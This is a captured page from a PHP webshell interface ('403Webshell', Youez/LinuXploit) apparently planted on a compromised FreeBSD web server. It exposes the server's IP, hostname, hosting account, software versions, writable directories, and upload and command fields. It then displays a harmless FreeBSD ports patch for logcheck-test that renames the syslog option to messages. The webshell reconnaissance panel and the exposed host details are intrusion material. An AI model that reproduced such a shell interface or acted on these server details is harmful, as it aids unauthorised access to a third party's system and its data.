403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/logcheck/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/logcheck/files/patch-src_logcheck-test
--- src/logcheck-test.orig	2017-01-25 21:08:04 UTC
+++ src/logcheck-test
@@ -38,7 +38,7 @@ usage() {
 usage: logcheck-test
 -h|--help                   : Show usage information
 -a|--auth.log               : Parse /var/log/auth.log
--s|--syslog                 : Parse /var/log/syslog
+-m|--messages               : Parse /var/log/messages
 -l|--log-file LOGFILE       : Parse LOGFILE
 -i|--invert-match           : Show lines that don't match the RULE or RULEFILE
 -q|--quiet                  : Suppress rule summary
@@ -103,11 +103,11 @@ while [ -n "${1:-}" ]; do
                 warn "option -a ignored"
             fi
         ;;
-        -s|--syslog)
+        -m|--messages)
             if [ -z "$FILE" ] ; then
-                FILE="/var/log/syslog"
+                FILE="/var/log/messages"
             else
-                warn "option -s ignored"
+                warn "option -m ignored"
             fi
         ;;
         -q|--quiet)
@@ -169,7 +169,7 @@ while [ -n "${1:-}" ]; do
 done
 
 if [ -z "$FILE" ] ; then
-    err "no log file specified, please choose -a or -s or -l LOGFILE"
+    err "no log file specified, please choose -a or -m or -l LOGFILE"
     exit 2
 elif ! [ -r "$FILE" ] ; then
     err "'$FILE' permission denied"

Youez - 2016 - github.com/yon3zu
LinuXploit